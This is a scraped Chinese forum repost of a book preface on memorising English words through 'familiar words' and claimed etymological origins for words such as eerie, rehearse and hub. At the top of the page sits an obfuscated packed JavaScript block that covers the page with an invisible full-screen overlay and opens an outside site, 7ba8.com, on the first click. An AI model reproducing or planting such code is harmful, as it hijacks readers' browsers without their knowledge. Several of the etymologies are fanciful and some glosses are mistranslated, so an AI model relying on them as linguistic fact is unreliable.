主题: 中国人记英文单字的方法

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>[轉載]
一、"一苇渡江"→ 巧用熟字记生字
也许大家都会同意,最好的记忆方法就是把要记的东西,合理地纳入我们早已熟悉的记忆网络之中。"巧用熟字记生字"的办法,就是这种记忆原理的体现。
关键在于一个"巧"字。请看一些例子:
生字 熟字
abide 遵守 obey 服从,听从 (abi ← obey)
bastard 杂种,私生子 beast 野兽 (bast ← beast)
consternate 使惊愕 astonish 使惊讶 (stern ← ston 打雷)
devastate 使荒芜 waste 浪费,废弃的 (vast ← wast)
envoy 使节 voyage 航行 (voy ← way 路)
……
inquest 审讯 question 问题
jocund 快活的 joke 开玩笑 (joc ← jok)
kaleido
-scope 万花筒 colorful 五光十色的 (kal 美丽 ← col 颜色)
eye 眼睛 (eido 景象← eye 眼睛)
lambent 闪烁的 lamp 灯 (lamb ← lamp)
maculate 有污点的 mark 记号 (mac ← mark)
nourish 养育 nurse 护士 (nour ← nur)
oust 驱逐 out 出去
……
thaw 融雪 dew 露水 (th ← d)
ulterior 在山的那一边 other 另一个 (ulter ← other)
vile 邪恶的 evil 邪恶的
wherry 载客舢板 ferry 渡船 (wh ← f)
yearn 渴望,向往 earnest 热切的 (yearn ← earn)
zeal 热情 jealousy 嫉妒 (zeal ← jeal)
您是不是觉得"巧妙"?
需要说明的是:以上这些例子都是信手拈来的。这样的例子,贯穿着整部字典。
有一个叫做《蜀僧》的故事,是大家熟悉的: 四川有两个和尚,一贫一富,都想到浙江普陀山拜观音。一天,贫的向富的辞行,说要赴普陀。富僧大吃一惊: 我筹备了几年,还未敢出发,你凭什麽?答:"一盘一钵足矣"。等到穷僧朝山回来,富僧还未准备就绪。
好个"一盘一钵足矣"!
我们手里有二千个单字,比这位穷和尚已经富有得多。我们就是要学达摩祖师,一苇渡江,越过浩瀚的字汇海洋。这"一苇"就是"巧用熟字记生字"。这本字典,帮助您练就上乘的"轻功"。
会做生意的人,往往巧妙地"用小本钱做大生意",不也是一样的道理吗?所以,上面的例子,效果虽然神奇,却也不出常理。
二、"真如实相"→ 难字"还原"成易字
读者很容易会有这样的疑问: 上面的例子巧则巧矣,妙则妙矣。难道你真能把几千个英文难字都作这样巧妙的处理?
这就该讲到本书的第二个特点:我们"还原"了大量的英文难字。
还是先看几个例子:
例一、eerie 怪异的。
亲爱的读者,您打算怎样记这个字? 也请您看一看,其它类似的书建议您怎样记这个字。
我们在浩瀚的法文字海中找到了这个字的"本来面目": féerie 梦境,仙境,仙女。 它和 eerie 只差开头的一个 f,字义基本一致。说它们是同源字,相信谁也不会反对。可别小看这个 f,找到它,就等于找到了记住这个字的金钥匙。
原来,eerie 只不过是 fairy(仙子)的变形!fairy tale 就是"神话,童话";fairy land 就是"仙境, 奇境"。晋朝的刘晨和阮肇入天台山,遇仙女请他们吃胡麻饭。那是美丽的"仙境"。而 eerie 强调的却是"奇境","恶梦"中使人"毛骨耸然"的那种。
当然,字的形态变化了,字的原义就会有所引申和侧重。这是语言发展的规律,古今中外,概莫能外。
例二、rehearse 排练,练习,背诵,复述。
这是个常用字字。而关于这个字的解释,却犯了难。
语源上有种说法:re- → again 再;hearse → harrow 耙。解释:反复耙→重复同一个动作 → 练习。
这样的解释,总叫人感到牵强。而且,就算我们接受了这样的解释,它对于记忆这个字又有何帮助呢?可真正叫我感到犯了难。
好不容易,找遍了字典 H 一章中的字汇,找到了我认为合理的解释:
re- → again 再;hearse → hash v。反复推敲,重述,切碎。
(义节解说)一而再地重述 → 背诵,排练。作者认为:hearse 是 hash 音变而成。佐证可参考:rehash 重讲,改作。
请读者比较一下:哪一种解释更加圆满实用。
接着:
(用熟字记生字) axe 斧头。事实上,hash 原来的意思就是用斧头砍。经过反复用斧头修正,需要的样子就出来了。于是引申为"反复推敲"。我们中国人也常说"斧凿,斧正",表示修改。h 在西文中常不发音,容易脱落。所以 hash 就成了axe。
(同族字例)hatchet 小斧;hack 用斧乱砍;hackle 砍,劈。
于是,rehearse 被还原成了 axe !如此而矣,岂有它哉!要记这个字,何难之有?
例三、hub(兴趣、活动、重要性等)中心,轮毂。
找遍了各种英文字典,都没有找到我认为合理的解释。只好转而求助于法文字典、德文字典、西班牙文字典、意大利文字典……等等。
我们在德文字典中找到了 hub 的对应字。这才知道:hub 来源于德文 herd 炉边,炉膛,家庭,(兴趣、活动、重要性等)中心。该字相当于英文的 hearth 炉边,炉膛, 家庭。还可以参考法文 foyer 炉子,策源地,中心。这说明西方人习惯将炉子引申为"家庭,中心"。
原来,hub 是字根 -habit- 和 -hibit-的一种变形。于是 hub 这个原来一直没有着落的字找到了老家。
(同族字例)hob 炉旁的铁架;inhabit 居住于;inhibit 居住;exhibit展览;harbor 港口;habitant 居民;cohabit 同居;habitat 栖息地,(植物)产地,住所,聚集处。
还有:
haven 港口( b → v 通转);hive 蜂巢;hovel 茅屋;heaven 天堂;Hestia希腊神话中的灶神, 室家之神; hurdle 篱笆;vesta 女灶神;vestibule门厅;horde 游牧部落; hospitable 好客的; huddle 聚在一起商量; hoard储藏;hearth 炉边,炉膛,家庭。
hub 还有"轮毂"一义,同族字的基本含义是"圆而空的事物":
(同族字例) heap 堆积;hop 蛇麻草;hip 臀部;hope 希望;hoove(动物)鼓胀病;hoopla 投套环游戏;hollow 空的;hoop 箍(状物),铁环。
做到这一步,对于 hub 的解释才算是圆满实用的。
按照佛家的说法:"真如本性"是清静的。只不过无始以来,受了"熏染",产生"妄念";于是以虚为实,认假作真。
儿时读还珠楼主《蜀山剑侠传》 ,散仙谢山皈依佛门,有"还我真如,观大自在"的偈语, 印象很深。大家知道,英文与德文同宗日尔曼语系,历史上受拉丁、希腊、法文、意大利文等"熏染"正多。弄得许多字千姿百态,南腔北调,使学习者如坠烟海。一旦得还本来面目,记忆单字的难度就会变成"无穷小量"。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部